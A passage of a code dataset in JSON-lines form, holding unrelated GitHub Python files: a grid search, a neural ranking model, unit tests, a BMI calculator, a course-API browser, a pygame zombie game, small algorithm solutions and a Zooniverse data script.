0.02]\n\n grid_space = create_space(d_min_space, d_max_init_space, prob_space, penalty_space)\n\n new_insts = []\n for ins in instances:\n for k in [1, 2, 4]:\n new_insts.append((ins, k))\n \n shuffle(new_insts)\n new_insts = new_insts[:20]\n new_insts.sort(key=myFunc)\n\n batches = ceil(len(grid_space)/paralellism)\n\n for ins in new_insts[:20]:\n file_name_res = 'results/GS/' + str(ins[0]) + '_k'+str(ins[1])+'.txt'\n times = []\n results = []\n manager = Manager()\n return_dict = manager.dict()\n procs = []\n graph_open = instance_dir+'/'+ins[0]\n g = read_graph(graph_open)\n print(\"Creating process: \", graph_open)\n for conf in grid_space:\n p = Process(target=task, args=(ins[0], g, ins[1], conf[0], conf[1], time_limit, iteration_max, conf[2], conf[3], seed, return_dict, conf))\n procs.append(p)\n\n for b in range(batches):\n print(\"Doing batch \"+str(b))\n for i in range(len(procs)):\n if i%batches==b:\n print(\"Starting process \"+str(i) +\". \"+str(grid_space[i]))\n procs[i].start()\n \n for i in range(len(procs)):\n if i%batches==b:\n procs[i].join()\n print(\"Process \"+str(i)+\" finished\")\n\n print(\"Printing batch \"+str(b)+\" results\")\n with open(file_name_res, 'a') as f:\n for i in range(len(grid_space)):\n if i%batches==b:\n config = grid_space[i]\n f.write('{}, {}, {:.2f}, {}, {:.10f}\\n'.format(config, return_dict[config][0], return_dict[config][1], return_dict[config][2], return_dict[config][3]))\n\n","repo_name":"mikiMilan/k-domination","sub_path":"algorithms/gridSearch.py","file_name":"gridSearch.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"73224655735","text":"import csv\r\nimport pandas as pd\r\nrows = []\r\n\r\nwith open(\"gravityAdded.csv\", \"r\") as f:\r\n csvreader = csv.reader(f)\r\n for row in csvreader: \r\n rows.append(row)\r\n\r\nheaders = rows[0]\r\nwholeData = rows[1:]\r\nprint(wholeData)\r\n\r\nfinalData = []\r\nfor i in wholeData:\r\n finalDict = {\r\n\r\n \r\n 'name':i[1],\r\n 'distance':i[2],\r\n 'mass':i[3],\r\n 'radius':i[4],\r\n 'gravity':i[5],\r\n }\r\n finalData.append(finalDict)\r\nprint(finalData)","repo_name":"arjun258/Scraper7-Pro-136","sub_path":"finaldict.py","file_name":"finaldict.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"5420756512","text":"import json\nimport logging\n\nimport torch\nfrom torch import nn as nn\nfrom torch.autograd import Variable\n\nfrom knowledge4ir.salience.duet_knrm import DuetKNRM, use_cuda\n\n\nclass DuetGlossCNN(DuetKNRM):\n def __init__(self, para, ext_data=None):\n super(DuetGlossCNN, self).__init__(para, ext_data)\n\n assert ext_data.word_emb is not None\n assert ext_data.entity_desp is not None\n assert para.desp_sent_len\n self.e_desp_mtx = Variable(torch.LongTensor(ext_data.entity_desp[:, :para.desp_sent_len]))\n # self.e_desp_mtx = self.e_desp_mtx[:, :para.desp_sent_len]\n self.word_emb = nn.Embedding(ext_data.word_emb.shape[0],\n ext_data.word_emb.shape[1], padding_idx=0)\n self.word_emb.weight.data.copy_(torch.from_numpy(ext_data.word_emb))\n self.l_gloss_cnn = []\n self.l_gloss_linear = []\n for k_size in para.l_cnn_length:\n self.l_gloss_cnn.append(torch.nn.Conv1d(\n in_channels=para.embedding_dim,\n out_channels=para.embedding_dim,\n kernel_size=k_size,\n bias=False,\n ))\n self.l_gloss_linear.append(nn.Linear(self.K, 1, bias=True))\n\n self.emb_merge = nn.Linear(\n para.embedding_dim * 2,\n para.embedding_dim,\n bias=False\n )\n if use_cuda:\n for i in xrange(len(self.l_gloss_cnn)):\n self.l_gloss_cnn[i].cuda()\n self.l_gloss_linear[i].cuda()\n self.word_emb.cuda()\n self.e_desp_mtx = self.e_desp_mtx.cuda()\n self.emb_merge.cuda()\n\n def forward(self, h_packed_data):\n duet_knrm_score = super(DuetGlossCNN, self).forward(h_packed_data)\n\n assert 'mtx_e' in h_packed_data\n assert 'mtx_score' in h_packed_data\n assert 'mtx_w' in h_packed_data\n assert 'mtx_w_score' in h_packed_data\n mtx_e = h_packed_data['mtx_e']\n mtx_w = h_packed_data['mtx_w']\n mtx_w_score = h_packed_data['mtx_w_score']\n w_emb = self.word_embedding(mtx_w)\n ts_desp = self.e_desp_mtx[mtx_e.view(-1)].view(\n mtx_e.size() + (self.e_desp_mtx.size()[-1],)\n ) # batch, e id, desp word id\n\n v_desp_words = ts_desp.view(-1)\n ts_desp_emb = self.word_emb(v_desp_words)\n # batch * entity * desp words * word embedding\n\n ts_desp_emb = ts_desp_emb.view(ts_desp.size() + ts_desp_emb.size()[-1:])\n\n for cnn, linear in zip(self.l_gloss_cnn, self.l_gloss_linear):\n cnn_emb = self._sentence_cnn(ts_desp_emb, mtx_e, cnn)\n cnn_knrm = self._kernel_vote(cnn_emb, w_emb, mtx_w_score)\n cnn_knrm_score = linear(cnn_knrm).squeeze(-1)\n duet_knrm_score += cnn_knrm_score\n\n return duet_knrm_score\n\n def _sentence_cnn(self, ts_desp_emb, mtx_e, cnn):\n ts_desp_emb = ts_desp_emb.view((-1,) + ts_desp_emb.size()[-2:])\n ts_desp_emb = ts_desp_emb.transpose(-1, -2) # now batch * embedding * words\n logging.debug('cnn input sequence shape %s', json.dumps(ts_desp_emb.size()))\n cnn_filter = cnn(ts_desp_emb)\n logging.debug('cnn raw output sequence shape %s', json.dumps(ts_desp_emb.size()))\n cnn_filter = cnn_filter.transpose(-2, -1).contiguous() # batch * strides * filters\n cnn_filter = cnn_filter.view(\n mtx_e.size() + cnn_filter.size()[-2:]\n ) # batch * entity * strides * filters\n logging.debug('cnn out converted to shape %s', json.dumps(cnn_filter.size()))\n cnn_emb, __ = torch.max(\n cnn_filter, dim=-2, keepdim=False\n )\n logging.debug('max pooled CNN Emb shape %s', json.dumps(cnn_emb.size()))\n return cnn_emb","repo_name":"xiongchenyan/KnowledgeIR","sub_path":"knowledge4ir/salience/deprecated/duet.py","file_name":"duet.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"22"} +{"seq_id":"28610582074","text":"import pytest\nimport numpy\nfrom numpy.testing import assert_allclose\n\nfrom ...neural._classes.feed_forward import FeedForward\nfrom ...neural._classes.affine import Affine\nfrom ...neural._classes.relu import ReLu\nfrom ...neural._classes.softmax import Softmax\n\n@pytest.fixture\ndef model1(nH, nI):\n model = ReLu(nH, nI)\n return model\n\n\n@pytest.fixture\ndef model2(nO, nH):\n model = Affine(nO, nH)\n return model\n\n\n@pytest.fixture\ndef input_data(nB, nI):\n return numpy.ones((nB, nI), dtype='f') + 1.\n\n\n@pytest.fixture\ndef gradient_data(nB, nO):\n return numpy.zeros((nB, nO), dtype='f') -1.\n\n\n@pytest.fixture\ndef model(model1, model2):\n return FeedForward((model1, model2))\n\n\ndef get_expected_predict(input_data, Ws, bs):\n X = input_data\n for i, (W, b) in enumerate(zip(Ws, bs)):\n X = numpy.ascontiguousarray(X)\n if i > 0:\n X *= X > 0\n X = numpy.tensordot(X, W, axes=[[1], [1]]) + b\n return X\n\n\ndef numeric_gradient(predict, weights, epsilon=1e-4):\n out1 = predict(weights + epsilon)\n out2 = predict(weights - epsilon)\n return (out1 - out2) / (2 * epsilon)\n\n\ndef test_models_have_shape(model1, model2, nI, nH, nO):\n assert model1.W.shape == (nH, nI)\n assert model1.b.shape == (nH,)\n assert model2.W.shape == (nO, nH)\n assert model2.b.shape == (nO,)\n\n\ndef test_model_shape(model, model1, model2, nI, nH, nO):\n assert model.input_shape == model1.input_shape\n assert model.output_shape == model2.output_shape\n\n\ndef test_predict_and_begin_update_match(model, model1, model2, input_data):\n model = FeedForward((model1, model2))\n via_predict = model.predict(input_data)\n via_update, _ = model.begin_update(input_data)\n assert_allclose(via_predict, via_update)\n expected = get_expected_predict(input_data,\n [model1.W, model2.W],\n [model1.b, model2.b])\n assert_allclose(via_update, expected, atol=1e-2, rtol=1e-4)\n\n\nclass GradientSpy(object):\n def __init__(self):\n self.weights = None\n self.d_weights = None\n def __call__(self, weights, grad):\n self.weights = weights\n self.d_weights = grad\n\n\ndef test_gradient(model, input_data, nB, nH, nI, nO):\n truth = numpy.zeros((nB, nO), dtype='float32')\n truth[0] = 1.0\n \n guess, backprop = model.begin_update(input_data)\n backprop(guess - truth)\n\n for layer in model._layers:\n def predict(i, update):\n layer._mem.weights[i] += update\n X = model.predict(input_data)\n layer._mem.weights[i] -= update\n return X\n agrad = layer._mem.gradient.copy()\n ngrad = get_numeric_gradient(predict, layer._mem.weights.size, truth)\n assert_allclose(agrad, ngrad, atol=0.2, rtol=0.2)\n\n\ndef get_numeric_gradient(predict, n, target):\n gradient = numpy.zeros(n)\n for i in range(n):\n out1 = predict(i, 1e-4)\n out2 = predict(i, -1e-4)\n\n err1 = _get_loss(out1, target)\n err2 = _get_loss(out2, target)\n gradient[i] = (err1 - err2) / (2 * 1e-4)\n return gradient\n\n \ndef _get_loss(truth, guess): \n return numpy.sum(numpy.sum(0.5*numpy.square(truth - guess),1))\n","repo_name":"ryfeus/lambda-packs","sub_path":"Spacy/source2.7/thinc/tests/integration/test_feed_forward.py","file_name":"test_feed_forward.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":1104,"dataset":"github-code","pt":"22"} +{"seq_id":"582466109","text":"peso=float(input('Digite o seu peso:'))\r\nalt=float(input('Digite sua altura:'))\r\nimc= peso/(alt**2)\r\nif imc < 18.5:\r\n print(f'Seu imc é de {imc} e você está ABAIXO DO PESO')\r\nelif imc >= 18.5 and imc < 25:\r\n print(f'Seu imc é de {imc} e você está no PESO IDEAL')\r\nelif imc>=25 and imc < 35:\r\n print(f'Seu imc é de {imc} e você está no SOBREPESO')\r\nelif imc >= 35 and imc < 40:\r\n print(f' O seu imc é de {imc} e você está com OBESIDADE')\r\nelse:\r\n print(f' O seu imc é de {imc} e você está com OBESIDADE MÓRBIDA')\r\n\r\n","repo_name":"JessycadeOliveira/PythonStudy","sub_path":"ex043.py","file_name":"ex043.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"36411280973","text":"import requests\nimport json\nimport os\nfrom os import path\ndef getting_courses():\n #here we are checking if file exist then it will just read the file and give us data\n if os.path.isfile(\"saral.json\")==True:\n with open(\"saral.json\",\"r\") as read_file:\n saral = json.load(read_file)\n return saral\n else:\n #we are hitting the api to get data\n get_api = requests.get(\"http://saral.navgurukul.org/api/courses\")\n saral = get_api.json()\n json_file = open(\"saral.json\",\"w\")\n json.dump(saral,json_file,indent=2)\n return saral\nsaral_data = getting_courses()\ndef saral_courses():\n index = 0\n # from this loop we are taking whole corsses name with it course id\n while index < len(saral_data[\"availableCourses\"]):\n print(index+1,saral_data[\"availableCourses\"][index][\"name\"],\"id -\",saral_data[\"availableCourses\"][index][\"id\"])\n index = index + 1\nsaral_courses()\n#course input because we want see a particular course\ncourse = int(input(\"select nmumber of course: \"))\nprint(\"your course id is - \",saral_data[\"availableCourses\"][course-1][\"id\"])\nprint(course,saral_data[\"availableCourses\"][course-1][\"name\"])\nprint(\"\")\ncourse_id = saral_data[\"availableCourses\"][course-1][\"id\"]\ndef calling_sec_api(courses_id):\n second_api = requests.get(\"http://saral.navgurukul.org/api/courses/\"+str(courses_id)+\"/exercises\")\n data= second_api.json()\n json_file2 = open(\"saral1.json\",\"w\")\n json.dump(data,json_file2,indent=2)\n return data\ndata_of_sec_api=calling_sec_api(course_id)\n\n\ndef parents():\n # we are getting our courses name with their sub courses \n count = 1\n for i in data_of_sec_api[\"data\"]:\n print(\" \"+str(count)+\")\",i[\"name\"])\n s_no = 1\n for counter in data_of_sec_api[\"data\"][count-1][\"childExercises\"]:\n print(\" \"+str(s_no)+\".\",counter[\"name\"])\n s_no = s_no + 1\n print(\"\")\n count+=1\nparents()\nup_down = input(\"if u want to see previous courses gai press up/down: \")\nif up_down == \"up\":\n saral_courses()\n course = int(input(\"select nmumber of course: \"))\n course_id = saral_data[\"availableCourses\"][course-1][\"id\"]\n data_of_sec_api=calling_sec_api(course_id)\n print(course,saral_data[\"availableCourses\"][course-1][\"name\"])\n parents()\nparent = int(input(\"select a parent\"))\nprint()\nprint(\"0 -\",data_of_sec_api[\"data\"][parent-1][\"name\"])\ndef child():\n # here we have choosen one sub course of main course \n count = 1\n for index in data_of_sec_api[\"data\"][parent-1][\"childExercises\"]:\n print(\" \",count,\"-\",index[\"name\"])\n count=count + 1\nchild()\nchild = int(input(\"select the question\"))\n# by child we will get our slug\nif child == 0:\n slug = data_of_sec_api[\"data\"][parent-1][\"slug\"]\nelse:\n slug = data_of_sec_api[\"data\"][parent-1][\"childExercises\"][child-1][\"slug\"]\ndef content(slugs):\n get_content= requests.get(\"https://saral.navgurukul.org/api/courses/\"+str(course_id)+\"/exercise/getBySlug?slug=\"+str(slugs))\n content_of_slug= get_content.json()\n json_file = open(\"slug.json\",\"w\")\n json.dump(content_of_slug,json_file,indent=2)\n return content_of_slug[\"content\"]\nprint(content(slug))\nslug_list= []\nslug = data_of_sec_api[\"data\"][parent-1][\"slug\"]\nslug_list.append(content(slug))\nfor index in data_of_sec_api[\"data\"][parent-1][\"childExercises\"]:\n my_slug = index[\"slug\"]\n slug_list.append(content(my_slug))\ni = 1\nwhile i <= len(slug_list):\n prev_next = input(\"if you want to go previous then press p/n: \")\n if prev_next==\"p\":\n child = child - 1\n if child < len(slug_list):\n if child == -1:\n print(\"page_not_found\")\n break\n print(slug_list[child])\n elif prev_next==\"n\":\n child=child+1\n if child>=0:\n if child==len(slug_list):\n print(\"page_not_found\")\n break\n print(slug_list[child])\n else:\n print(\"invalid input \")\n break\n i = i + 1","repo_name":"shahnaaz20/Request-Saral-API","sub_path":"request_without_caching.py","file_name":"request_without_caching.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"9334198270","text":"import pygame\nimport time\nimport random\n\npygame.init()\n# the following are constants that will be used throughout the programme\n\nDisplayWidth = 800\nDisplayLength = 600\n\nBlack = (0, 0, 0)\nWhite = (255, 255, 255)\nRed = (255, 0, 0)\nGreen = (0, 100, 0)\nRedDark = (100, 0, 0)\nGreenLight = (0, 200, 0)\n\n# the following constant are based on the files used\nCharacterSize = 73\nZombieSize = 72\nZombieWidth = 87\nZombieLength = 98\nZombie2Width = 75\nZombie2Length = 98\n# the following are constants used for the Helmet which will act as the users attack in the game\nHelmetWidth = 60\nHelmetLength = 54\n# the following are the Images used in the game\nSkaterImg = pygame.image.load(\"MainCharacter.png\")\nZombieImg = pygame.image.load(\"Zombie.png\")\nZombie2Img = pygame.image.load(\"Zombie2PNG.png\")\nStreetBackground = pygame.image.load(\"StreetBackgroundP.png\")\nMenuBackgroundImg = pygame.image.load(\"MenuBackgroundP.png\")\nHelmetImg = pygame.image.load(\"SkatingHelmet.png\")\n\nGameDisplay = pygame.display.set_mode((DisplayWidth, DisplayLength))\npygame.display.set_caption(\"Skate Away\")\nGameClock = pygame.time.Clock()\n\n#the following is the games background music\npygame.mixer.music.load(\"GameBackgroundMusic.wav\")\n\ndef ScoreCounter(count):\n Font = pygame.font.Font(\"Bubblegum_Sans.ttf\", 25)\n Text = Font.render(\"Zombies Count: \" + str(count), True, White)\n GameDisplay.blit(Text, (600, 50))\n\n\ndef Skater(x, y):\n GameDisplay.blit(SkaterImg, (x, y)) # (x,y) must have their own brackets to make sure that it is a tuple and not separate parameters.\n\ndef Zombies1(x, y):\n GameDisplay.blit(ZombieImg, (x, y))\n\n\ndef Zombies2(x, y):\n GameDisplay.blit(Zombie2Img, (x, y))\n\ndef Helmet(x,y):\n GameDisplay.blit(HelmetImg,(x,y))\n\n\ndef MenuBackground(x, y):\n GameDisplay.blit(MenuBackgroundImg, (x, y))\n\n\ndef Background(x, y):\n GameDisplay.blit(StreetBackground, (x, y))\n\n\ndef Background2(x, y):\n GameDisplay.blit(StreetBackground, (x, y))\n\ndef MessageObjects(text, font):\n TextSurface = font.render(text, True, White)\n return TextSurface, TextSurface.get_rect()\n\n\ndef DisplayMessage(text):\n TextFont = pygame.font.Font(\"Bubblegum_Sans.ttf\", 100)\n TextSurface, TextRectangle = MessageObjects(text, TextFont)\n TextRectangle.center = ((DisplayWidth / 2), (DisplayLength / 2))\n GameDisplay.blit(TextSurface, TextRectangle)\n\n pygame.display.update()\n time.sleep(1)\n\n GameLoop()\n\n\ndef PlayerDead():\n DisplayMessage(\"They got you\")\n\n\ndef ButtionInteraction(Message, x, y, width, length, Ic, Ac, action=None):\n Mouse = pygame.mouse.get_pos()\n Click = pygame.mouse.get_pressed()\n\n # [0] and [1] refer to (x,y)\n if x + width > Mouse[0] > x and y + length > Mouse[1] > y:\n pygame.draw.rect(GameDisplay, Ac, (x, y, width, length))\n SmallTextFont = pygame.font.Font(\"Bubblegum_Sans.ttf\", 50)\n TextSurface, TextRectangle = MessageObjects(Message, SmallTextFont)\n TextRectangle.center = (x + (width / 2), y + (length / 2))\n GameDisplay.blit(TextSurface, TextRectangle)\n \n if Click[0] == 1 and action != None:\n if action == \"play\":\n GameLoop()\n elif action == \"quit\":\n pygame.quit()\n quit()\n else:\n pygame.draw.rect(GameDisplay, Ic, (x, y, width, length))\n SmallTextFont = pygame.font.Font(\"Bubblegum_Sans.ttf\", 50)\n TextSurface, TextRectangle = MessageObjects(Message, SmallTextFont)\n TextRectangle.center = (x + (width / 2), y + (length / 2))\n GameDisplay.blit(TextSurface, TextRectangle)\n\n\n\ndef GameMainMenu():\n pygame.mixer.music.play()\n MainMenu = True\n while MainMenu:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n else:\n MenuBackground(0, 0)\n\n TextFont = pygame.font.Font(\"Bubblegum_Sans.ttf\", 70)\n TextSurface, TextRectangle = MessageObjects(\"Skate Away\", TextFont)\n TextRectangle.center = ((DisplayWidth / 2), (DisplayLength / 2))\n GameDisplay.blit(TextSurface, TextRectangle)\n\n pygame.draw.rect(GameDisplay, Green, (150, 400, 200, 100))\n pygame.draw.rect(GameDisplay, RedDark, (500, 400, 200, 100))\n\n ButtionInteraction(\"Play!\", 150, 400, 200, 100, Green, GreenLight, \"play\")\n ButtionInteraction(\"Quit Game\", 500, 400, 200, 100, RedDark, Red, \"quit\")\n\n pygame.display.update()\n\n GameClock.tick(4)\n\n\ndef GameLoop():\n Bx = 0\n By = 0\n Bx2 = 800\n By2 = 0\n\n Playerx = (DisplayWidth * 0.05)\n Playery = (DisplayLength * 0.45)\n yChange = 0\n\n\n\n # the following is the Zombie generating parameters\n ZombieStarty = random.randrange(0,DisplayLength) # the random function is important to ensure the Zombie inst being generated in the same place repeatedly\n ZombieStartx = 1000\n ZombieSpeed = -25 # this is a negative value because 1000 is off the screen on the right hand side. for the zombie to come towards the left we have to move in the -Playerx direction\n\n Zombie2Starty = random.randrange(0, DisplayLength)\n Zombie2Startx = random.randrange(1000, 1500)\n Zombie2Speed = (-1) * random.randrange(25, 40)\n\n HelmetX = (DisplayWidth * 0.05)\n HelmetY = (DisplayLength * 0.45)\n xChange = 0\n HelmetYChange=0\n\n\n Score = 0\n\n\n EndGame = False\n\n # this loop is to handle events and let the game function\n while not EndGame:\n\n for event in pygame.event.get(): # what this does is collect events happening in the game\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP: # this corresponds to the Up arrow key found on the keyboard.\n yChange = -20\n HelmetYChange=-20\n if event.key == pygame.K_DOWN:\n yChange = 20\n HelmetYChange= 20\n if event.key == pygame.K_SPACE:\n xChange = 60\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_UP or event.key == pygame.K_DOWN:\n yChange = 0\n HelmetYChange=0\n\n Playery += yChange\n HelmetY += HelmetYChange\n HelmetX += xChange\n\n\n\n\n\n\n # in this part we are calling all the display functions\n Background(Bx, By) # its important to choose the display before displaying the main characters so its not overwritten\n Bx -= 20\n\n Background2(Bx2, By2)\n Bx2 -= 20\n\n Skater(Playerx, Playery)\n\n\n Helmet(HelmetX, HelmetY)\n\n\n ScoreCounter(Score)\n\n Zombies1(ZombieStartx, ZombieStarty)\n ZombieStartx += ZombieSpeed # this can be thought of as the starting difficulty of the game, Allows the zombie character to move towards the skater\n\n Zombies2(Zombie2Startx, Zombie2Starty)\n Zombie2Startx += Zombie2Speed\n\n\n # The first two if statements allow the in-game background to move and give the illusion of movement of the main character\n if Bx < -800:\n Bx = 0\n\n if Bx2 < 0:\n Bx2 = 800\n\n if Playery > DisplayLength - CharacterSize or Playery < 0: # this statement limits the player from going off screen. in this programme going off screen will result in a loss\n PlayerDead()\n\n if HelmetX-HelmetWidth>800:\n xChange=0\n HelmetX=Playerx\n\n if xChange==0:\n HelmetY=Playery\n\n #This is to avoid a bug experinced with the helmets re-starting position after throwing it a first time\n if HelmetX>Playerx:\n HelmetYChange=0\n\n if ZombieStartx < 0 - ZombieSize:\n ZombieStartx = 800 + ZombieSize\n ZombieStarty = random.randrange(0 + ZombieSize,DisplayLength - ZombieSize) # this range allows the Zombie to stay on screen\n Score += 1\n ZombieSpeed -= 1\n\n if Zombie2Startx < 0 - Zombie2Width:\n Zombie2Startx = random.randrange(1500, 3000)\n Zombie2Starty = random.randrange(0 + Zombie2Length, DisplayLength - Zombie2Length)\n Score += 1\n Zombie2Speed -= 1\n\n\n # the following are conditions which allow for a clash in the coordinates , when the player or helmet overlap the zombies\n\n if Playerx > ZombieStartx + ZombieWidth:\n if Playery< ZombieStarty and Playery > ZombieStarty - ZombieLength or Playery - ZombieLength < ZombieStarty and Playery - ZombieLength > ZombieStarty - ZombieLength:\n PlayerDead()\n\n if Playerx > Zombie2Startx + Zombie2Width:\n if Playery < Zombie2Starty and Playery > Zombie2Starty - Zombie2Length or Playery - Zombie2Length < Zombie2Starty and Playery - Zombie2Length > Zombie2Starty - Zombie2Length:\n PlayerDead()\n\n if HelmetX > ZombieStartx + ZombieWidth:\n if HelmetY < ZombieStarty and HelmetY > ZombieStarty - ZombieLength or HelmetY - ZombieLength < ZombieStarty and HelmetY - ZombieLength > ZombieStarty - ZombieLength:\n ZombieStartx = 1000 + ZombieSize\n ZombieStarty = random.randrange(0 + ZombieSize, DisplayLength - ZombieSize)\n Score += 1\n ZombieSpeed -= 1\n\n if HelmetX > Zombie2Startx + Zombie2Width:\n if HelmetY < Zombie2Starty and HelmetY > Zombie2Starty - Zombie2Length or HelmetY - Zombie2Length < Zombie2Starty and HelmetY - Zombie2Length > Zombie2Starty - Zombie2Length:\n Zombie2Startx = 1000 + Zombie2Width\n Zombie2Starty = random.randrange(0 + Zombie2Length, DisplayLength - Zombie2Length)\n Score += 1\n ZombieSpeed -= 1\n\n pygame.display.update() # This will allow us to update a parameter that we input or update the entire display window\n\n GameClock.tick(90) # This is how fast the game moves or its fps\n\n\n\nGameMainMenu()\npygame.quit()\nquit()\n","repo_name":"codealka/SkateAway","sub_path":"SkateAway.py","file_name":"SkateAway.py","file_ext":"py","file_size_in_byte":10122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"23997552278","text":"def next_permutation(A):\n \"\"\"\n Given a permutation A, return the next permutation.\n\n e.g. 6 1 4 3 2 -> 6 2 4 3 1\n\n \"\"\"\n i = len(A) - 2\n m = float('inf')\n m_pos = len(A) - 1\n while i > 0 and A[i] > A[i + 1]:\n if A[i + 1] < m:\n m = A[i + 1]\n m_pos = i + 1\n i -= 1\n if i == 0:\n return []\n A[i], A[m_pos] = A[m_pos], A[i]\n A[i + 1:] = list(sorted(A[i + 1:]))\n return A\n\ndef test():\n assert next_permutation([6, 1, 4, 3, 2]) == [6, 2, 1, 3, 4]\n assert next_permutation([4, 2, 3]) == [4, 3, 2]\n assert next_permutation([1, 0, 3, 2]) == [1, 2, 0, 3]\n assert next_permutation([1, 2, 3]) == [1, 3, 2]\n assert next_permutation([3, 2, 1]) == []\n","repo_name":"rmarren1/code_problem_snippets","sub_path":"arrays/next_permutation.py","file_name":"next_permutation.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"2416556614","text":"# Definition for singly-linked list.\r\n# class ListNode:\r\n# def __init__(self, val=0, next=None):\r\n# self.val = val\r\n# self.next = next\r\nclass Solution:\r\n def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\r\n\r\n if not head:\r\n return head\r\n\r\n pre = None\r\n cur = head\r\n nex = head.next\r\n\r\n while cur:\r\n cur.next = pre\r\n pre = cur\r\n cur = nex\r\n if nex:\r\n nex = nex.next\r\n\r\n return pre","repo_name":"riehseun/riehseun.github.io","sub_path":"leet150/leet206.py","file_name":"leet206.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"71679173816","text":"class Solution(object):\n def maxTurbulenceSize(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: int\n \"\"\"\n best = clen =0\n for i in range(len(A)):\n if i>=2 and (A[i-2]>A[i-1]A[i]):\n clen+=1\n elif i>=1 and A[i-1]!=A[i]:\n clen=2\n else:\n clen=1\n best = max(best,clen)\n return best","repo_name":"YuzhouPeng/LeetCode-Python","sub_path":"978. Longest Turbulent Subarray.py","file_name":"978. Longest Turbulent Subarray.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"42817217291","text":"# _*_ coding : UTF-8_*_\n# 开发者 : zhuozhiwengang\n# 开发时间 : 2022/5/8 16:41\n# 文件名称 : ClassObjectPython\n# 开发工具 : PyCharm\n\n# 类定义\nclass Person:\n \"\"\"\n 创建Person 类\n \"\"\"\n\n\n# 类实例(对象)\nperson = Person()\nprint('类实例存储地址:', person)\n\n\n# 魔术方法 --init\nclass Student:\n def __init__(self):\n print(\"我是魔术方法\")\n\n\nstudent = Student()\n\n\n# 对象属性和方法\nclass Car:\n def __init__(self, name, price):\n self.name = name\n self.price = price\n\n def start(self):\n print(self.name, \"汽车,售价为:\", self.price, '万元')\n\n\n# 类实例化(对象实例化)\ncar = Car('奔驰', 135)\n# 对象属性\nprint(\"我是:\", car.name, \"汽车\")\n# 对象方法\ncar.start()\n\n\n# 类属性和方法\nclass Province:\n # 类属性\n country = '中国'\n\n # 类方法\n @classmethod\n def getCountry(cls):\n print(\"我来自:\", cls.country)\n\n\nprint(\"Province 类属性访问:\", Province.country)\n# 类方法调用方式总结\n# 方式一:类对象调用类方法\nprovince = Province()\nprovince.getCountry()\n# 方式二:类调用类方法\nProvince.getCountry()\n\n\n# 计算属性 :通过@property将方法转换为属性实现\nclass Rect:\n def __init__(self, width, height):\n self.width = width\n self.height = height\n\n # 计算属性实现\n @property\n def area(self):\n return self.width * self.height\n\n\nrect = Rect(12, 23)\nprint('矩形面积为:', rect.area)\n\n\n# 属性添加安全机制: 通过@property 属性标签,实现私有属性值方法\nclass User:\n def __init__(self, name, pwd):\n self.name = name\n self.__pwd = pwd\n\n def getPwd(self):\n return self.__pwd\n\n\n# User类实例化\nuser = User('周志刚', '123456')\n# 对象直接访问私有属性,提示报错没有发现__pwd 属性\n# print(\"密码是:\", user.__pwd)\n# 对象访问私有属性的办法,方式一:通过方法返回类实例化对象的私有属性\nprint(\"密码是:\", user.getPwd())\n\n","repo_name":"zhouzhiwengang/Python-Study","sub_path":"PythonFocus/ClassObjectPython.py","file_name":"ClassObjectPython.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"29507403866","text":"import sys, os, glob\nimport pandas as pd, numpy as np\nimport ujson\nimport datetime\nfrom ast import literal_eval\nfrom get_workflow_info import get_workflow_info, get_class_cols, translate_non_alphanumerics, get_short_slug\nfrom flattenDict import flattenDict\n\n# go from index numbers in the answer labels to the labels themselves,\n# e.g. (0, 1) to (\"Yes\", \"No\")\ndef translate_store(the_store, workflow_answers):\n new_store = {}\n #print(the_store)\n # the index of the_store is very possibly strings e.g. '0', '1'\n for i_str in the_store.keys():\n # if blank answers are allowed the label won't be in the dictionary\n # so do it manually\n if i_str == '':\n new_store[\"Blank\"] = the_store[i_str]\n else:\n thelabel = workflow_answers[int(i_str)][\"label\"]\n new_store[thelabel] = the_store[i_str]\n\n return new_store\n\n\n# this is going to break if anything goes wrong\ndef translate_mostlikely(i_which, workflow_answers):\n return workflow_answers[int(i_which)][\"label\"]\n\n\n\ndef get_meta_cols(the_metadata):\n #print(the_metadata)\n col_vals = {}\n for thekey in the_metadata[1].keys():\n if thekey == 'subject_id':\n col_vals[thekey] = the_metadata[1][thekey]\n else:\n for metakey in the_metadata[1][thekey].keys():\n col_vals[metakey] = the_metadata[1][thekey][metakey]\n\n #return pd.Series(col_vals)\n return col_vals\n\n\n\n\n\n\n#classfile_infile = \"supernova-sighting-classifications.csv\"\nsubject_infile = \"supernova-sighting-subjects.csv\"\n#extract_infile = \"supernova-sighting-caesar-extract.csv\"\nreduction_infile = \"supernova-sighting-caesar-reduction.csv\"\nworkflows_infile = \"supernova-sighting-workflows.csv\"\nworkflow_contents_infile = \"supernova-sighting-workflow_contents.csv\"\n\nreduction_outfile = \"supernova-sighting-caesar-reduction-withlabels.csv\"\n\n# if comparing to an old outfile\nreduction_file_old = 